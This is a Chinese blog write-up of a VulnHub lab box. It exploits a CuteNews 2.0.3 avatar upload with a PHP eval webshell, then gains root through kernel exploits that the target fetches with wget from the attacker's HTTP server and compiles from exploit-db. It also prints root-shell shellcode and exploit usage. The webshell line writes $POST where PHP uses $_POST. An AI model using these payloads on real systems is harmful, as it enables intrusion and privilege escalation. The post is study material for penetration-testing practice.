李乐意的博客

tags:
@ 01/01/0001

主机探测

nmap --min-rate 10000 -sn 192.168.30.0/24

image-20251126145037688

MAC Address: 00:50:56:F2:61:87 (VMware)
Nmap scan report for 192.168.30.155
Host is up (0.00010s latency).
MAC Address: 00:0C:29:1F:60:B4 (VMware)
Nmap scan report for 192.168.30.156

存在两台主机。

192.168.30.155

192.168.30.156

端口扫描

nmap --min-rate 10000 -sTVC -O -oA scan/detail155 192.168.30.155
nmap --min-rate 10000 -sTVC -O -oA scan/detail156 192.168.30.156

image-20251126145329731

仅对外开放了80端口。

服务探测

可以看到CMS指纹为CuteNews 2.0.3

注册账号然后登录。

image-20251126150440505

点击Help/About发现弹窗,说明该版本存在已知漏洞。

image-20251126150610568

漏洞探测

image-20251126150713342

控制台,能看到有文件上传、输入框。可以试一下SQL、XSS、文件上传。

这里因为对该CMS不够了解,先去找一下已知漏洞。

image-20251126150922033

很容易可以搜到。exploit-db上面有,那就直接用kali中的。

searchsploit CuteNews 2.0.3

image-20251126151142725

是一个txt文本,不是直接用的脚本。这个文本和浏览器搜到的编号是同一个,我就直接看浏览器了。

https://www.exploit-db.com/exploits/37474

          CuteNews 2.0.3 Remote File Upload Vulnerability
        =================================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               ##########################################             1
0               I'm T0x!c member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1



# Exploit Title: CuteNews 2.0.3 Remote File Upload Vulnerability
# Date: [02/07/2015]
# Exploit Author: [T0x!c]
# Facebook: https://www.facebook.com/Dz.pr0s
# Vendor Homepage: [http://cutephp.com/]
# Software Link: [http://cutephp.com/cutenews/cutenews.2.0.3.zip]
# Version: [2.0.3] 
# Tested on: [Windows 7]
# greetz to :Tr00n , Kha&mix , Cc0de  , Ghosty , Ked ans , Caddy-dz .....
==========================================================
 # Exploit  :
 
Vuln : http://127.0.0.1/cutenews/index.php?mod=main&opt=personal
  
 1 - Sign up for New User
 2 - Log In 
 3 - Go to Personal options http://www.target.com/cutenews/index.php?mod=main&opt=personal
 4 - Select Upload Avatar Example: Evil.jpg
 5 - use tamper data  & Rename File Evil.jpg to Evil.php
  
-----------------------------2847913122899\r\nContent-Disposition: form-data; name="avatar_file"; filename="Evil.php"\r\

6 - Your Shell : http://127.0.0.1/cutenews/uploads/avatar_Username_FileName.php

 Example: http://127.0.0.1/cutenews/uploads/avatar_toxic_Evil.php
            

上传头像这里存在文件上传漏洞。

文件上传漏洞利用

一句话木马。

保存在shell.jpg中。

GIF89a
<?php @eval($POST['cmd']); ?>

image-20251126152340995

放行。

image-20251126152432717

可以看到文件上传位置,以及上传后被重命名了。

/uploads/avatar_user_a.php

访问。

http://192.168.30.156/uploads/avatar_user_a.php

蚁剑连接

image-20251126170138163

信息收集

image-20251126170252763

找到一个base64编码的文件/var/www/html/cdata/conf.php。使用 PHP 序列化格式 存储的配置数据。 CuteNews CMS 2.0.3(或其他基于文件的 PHP 应用程序)用于存储其系统设置、用户组权限和分类信息的机制。

a:4:{s:5:"%site";a:58:{s:4:"skin";s:7:"default";s:17:"frontend_encoding";s:5:"UTF-8";s:7:"useutf8";i:1;s:8:"utf8html";i:1;s:7:"wysiwyg";i:0;s:19:"news_title_max_long";i:100;s:11:"date_adjust";i:0;s:7:"smilies";s:50:"smile,wink,wassat,tongue,laughing,sad,angry,crying";s:18:"allow_registration";i:1;s:18:"registration_level";i:4;s:12:"ban_attempts";i:3;s:18:"allowed_extensions";s:24:"gif,jpg,png,bmp,jpe,jpeg";s:14:"reverse_active";i:0;s:10:"full_popup";i:0;s:17:"full_popup_string";s:49:"HEIGHT=400,WIDTH=650,resizable=yes,scrollbars=yes";s:23:"show_comments_with_full";i:1;s:16:"timestamp_active";s:5:"d M Y";s:11:"use_captcha";i:1;s:18:"reverse_c  omments";i:0;s:10:"flood_time";i:15;s:17:"comments_std_show";i:1;s:16:"comment_max_long";i:1500;s:17:"comments_per_page";i:5;s:23:"only_registered_comment";i:0;s:22:"allow_url_instead_mail";i:1;s:14:"comments_popup";i:0;s:21:"comments_popup_string";s:49:"HEIGHT=400,WIDTH=650,resizable=yes,scrollbars=yes";s:23:"show_full_with_comments";i:1;s:17:"timestamp_comment";s:11:"d M Y h:i a";s:8:"mon_list";s:85:"January,February,March,April,May,June,July,August,September,October,November,December";s:9:"week_list";s:56:"Sunday,Monday,Tuesday,Wednesday,Thursday,Friday,Saturday";s:15:"active_news_def";i:20;s:21:"thumbnail_with_upload";i:0;s:19:"max_thumbnail_width";i:256;s:15:"auto_news_alias";i:0;s:19:"notify_registration";i:0;s:14:"notify_comment";i:0;s:17:"notify_unapproved";i:0;s:14:"notify_archive";i:0;s:16:"notify_postponed";i:0;s:4:"i18n";s:5:"en_US";s:11:"gplus_width";i:350;s:11:"fb_comments";i:3;s:12:"fb_box_width";i:550;s:6:"ck_ln1";s:120:"Source,Maximize,Scayt,PasteText,Undo,Redo,Find,Replace,-,SelectAll,RemoveFormat,NumberedList,BulletedList,Outdent,Indent";s:6:"ck_ln2";s:33:"Image,Table,HorizontalRule,Smiley";s:6:"ck_ln3";s:18:"Link,Unlink,Anchor";s:6:"ck_ln4";s:33:"Format,FontSize,TextColor,BGColor";s:6:"ck_ln5";s:39:"Bold,Italic,Underline,Strike,Blockquote";s:6:"ck_ln6";s:51:"JustifyLeft,JustifyCenter,JustifyRight,JustifyBlock";s:6:"ck_ln7";s:0:"";s:6:"ck_ln8";s:0:"";s:11:"rw_htaccess";s:0:"";s:9:"rw_prefix";s:6:"/news/";s:15:"http_script_dir";s:21:"http://192.168.56.102";s:11:"uploads_dir";s:22:"/var/www/html/uploads/";s:11:"uploads_ext";s:29:"http://192.168.56.102/uploads";s:9:"rw_layout";s:25:"/var/www/html/example.php";}s:3:"grp";a:5:{i:1;a:4:{s:1:"N";s:5:"admin";s:1:"G";s:1:"*";s:1:"#";b:1;s:1:"A";s:160:"Cd,Cvm,Csc,Cp,Cc,Ct,Ciw,Cmm,Cum,Cg,Cb,Ca,Cbi,Caf,Crw,Csl,Cwp,Cmt,Cpc,Can,Cvn,Ccv,Cen,Clc,Csr,Com,Nes,Neg,Nea,Nvs,Nvg,Nva,Nua,Nud,Ncd,Mes,Meg,Mea,Mds,Mdg,Mda,Mac";}i:2;a:4:{s:1:"N";s:6:"editor";s:1:"G";s:1:"3";s:1:"#";b:1;s:1:"A";s:77:"Cd,Cp,Cmm,Can,Cvn,Nes,Neg,Nea,Nvs,Nvg,Nva,Mes,Meg,Mea,Mds,Mdg,Mda,Mac,Nua,Ncd";}i:3;a:4:{s:1:"N";s:10:"journalist";s:1:"G";s:0:"";s:1:"#";b:1;s:1:"A";s:60:"Cd,Cp,Cmm,Can,Cvn,Nes,Neg,Nvs,Nvg,Mes,Meg,Mds,Mdg,Mac,Bd,Ncd";}i:4;a:4:{s:1:"N";s:9:"commenter";s:1:"G";s:0:"";s:1:"#";b:1;s:1:"A";s:33:"Cd,Cp,Nes,Nvs,Mes,Nes,Mes,Mds,Mac";}i:5;a:4:{s:1:"N";s:3:"ban";s:1:"G";s:0:"";s:1:"#";b:1;s:1:"A";s:7:"Nvs,Cvn";}}s:10:"crypt_salt";s:64:"ff447c00d8312ff1c88bf968f2894466229fb11816f477c7044eb159c4223c07";s:8:"category";a:1:{i:1;a:7:{s:4:"name";s:5:"Goats";s:4:"memo";s:0:"";s:4:"icon";s:0:"";s:3:"acl";s:0:"";s:6:"parent";s:1:"0";s:5:"level";i:0;s:2:"ac";a:0:{}}}}

你问我怎么找到的?八格牙路欧!没有sudo -l,没有suid,没有cap特权,没有可写文件,多半提权点就在工作目录附近。这附近都是0777目录和文件,加纳!不心动吗?魂淡!

/var/www/html/cdata/users.txt

nug1x7:1
t6c9uv:4

nani nani nani,这又是nani。

内核提权

Linux simple 3.16.0-30-generic #40~14.04.1-Ubuntu SMP Thu Jan 15 17:45:15 UTC 2015 i686 i686 i686 GNU/Linux

image-20251126175104092

ubuntu14.04.2LTS。版本比较老了。

image-20251126175359393

上传这个脚本linux/local/36782.sh。

kali中

cd /usr/share/exploitdb/exploits/linux/local
cat 36782.sh
python3 -m http.server 4444

目标机中。

cd /tmp
wget http://192.168.30.131:4444/36782.sh

提示./36782.sh: 67: ./36782.sh: /tmp/pwned: Permission denied,即便创建该文件赋予0777权限都不管用。

试试其他脚本。

Linux Kernel (Debian 7.7/8.5/9.0 / Ubuntu 14.04.2/16.04.2/17.04 / Fedora 22/25 / CentOS 7.3.1611) - 'ldso_hwcap_64 Stack Cl | linux_x86-64/local/42275.c
cp 42275.c /home/kali/Desktop/VulnHub/simple/
cd /home/kali/Desktop/VulnHub/simple
gcc 42275.c -o pwned

直接编译会报错。

cat 42275.c

需要先手工准备。

cat > la.c << "EOF"
static void __attribute__ ((constructor)) _init (void) {
    __asm__ __volatile__ (
    "addq $64, %rsp;"
    // setuid(0);
    "movq $105, %rax;"
    "movq $0, %rdi;"
    "syscall;"
    // setgid(0);
    "movq $106, %rax;"
    "movq $0, %rdi;"
    "syscall;"
    // dup2(0, 1);
    "movq $33, %rax;"
    "movq $0, %rdi;"
    "movq $1, %rsi;"
    "syscall;"
    // dup2(0, 2);
    "movq $33, %rax;"
    "movq $0, %rdi;"
    "movq $2, %rsi;"
    "syscall;"
    // execve("/bin/sh");
    "movq $59, %rax;"
    "movq $0x0068732f6e69622f, %rdi;"
    "pushq %rdi;"
    "movq %rsp, %rdi;"
    "movq $0, %rdx;"
    "pushq %rdx;"
    "pushq %rdi;"
    "movq %rsp, %rsi;"
    "syscall;"
    // exit(0);
    "movq $60, %rax;"
    "movq $0, %rdi;"
    "syscall;"
    );
}
EOF
gcc -fpic -shared -nostdlib -Os -s -o la.so la.c
xxd -i la.so > la.so.h

在kali中执行上边步骤,靶机编译会失败。

image-20251126183901443

kali中一步到位。开启http服务,让目标机下载这个pwned脚本。

python3 -m http.server 8888

目标机中。

wget http://192.168.30.131:8888/pwned
chmod +x pwned
./pwned

image-20251126184335777

CPU架构问题。

# 查看靶机架构
arch

image-20251126184506616

如果输出包含 i686i386,它是 32 位 系统。

如果输出包含 x86_64amd64,它是 64 位 系统。

这里是32位系统,由于我是在kali中编译的我的kali是64位,导致编译后 CPU 架构不一致。

重新编译 Exploit 为 32 位。

sudo apt update
sudo apt install gcc-multilib
gcc 42275.c -o pwned_32 -m32
wget http://192.168.30.131:8888/pwned_32
chmod +x pwned_32

image-20251127093217941

典型的 GLIBC 版本不兼容 问题,意味着编译 Exploit 的Kali上的 C 库版本比simple 靶机上的版本要新。

目标靶机 (simple) 上的 /lib/i386-linux-gnu/libc.so.6 是一个较旧版本的 GLIBC 库。当它尝试加载您的 Exploit 时,发现程序需要的那些新版本的函数它无法提供,因此报告了 not found 错误。

静态编译 (推荐)

静态编译将程序运行所需的所有库代码(包括 GLIBC 的相关部分)直接嵌入到最终的可执行文件中。这样,程序在目标系统上运行时,就不再依赖目标系统自带的 GLIBC 库了。

Kali Linux 终端上,使用 -static 标志重新编译Exploit:

gcc 42275.c -o pwned_static -m32 -static

image-20251127093624838

用法

./pwned_static target binary
./pwned_static 3 binary
  • 3: 对应 Target 3 Ubuntu 14.04.2 (Trusty Tahr)。这是您告诉 Exploit 针对的系统版本。

  • binary: 这是 Exploit 要求您提供的第二个参数。它通常是您希望 提权后运行的程序路径,例如 /bin/bash/bin/sh

最终使用语句。

./pwned_static 3 /bin/bash

image-20251127094604643

失败了,查看exploit文件。

if (ehdr->e_ident[EI_CLASS] != ELFCLASS64) die(); 
// ...
    if (ehdr->e_machine != EM_X86_64) die();

翻开回忆角落,完美的生活,发现这个exp是针对64系统架构,目标靶机是32位。

并且再次查看发现版本是14.04.1-Ubuntu,我们这个也不对。

切换exp

image-20251127095156378

尝试这个第一个。

exploitdb
cd exploits/linux/local
cp 37088.c /home/kali/
cd /home/kali/Desktop/VulnHub/simple
gcc 37088.c -o exploit 

image-20251127095558248

同样的问题,系统架构,这次我们已经知道如何解决了。

gcc 37088.c -o exploit_32 -m32

image-20251127095722784

早知道就直接一步到位了。

gcc 37088.c -o exploit_static -m32 -static

image-20251127095902607

终于执行成功了。

image-20251127095935272

确认root权限。

flag就在/root目录下👇。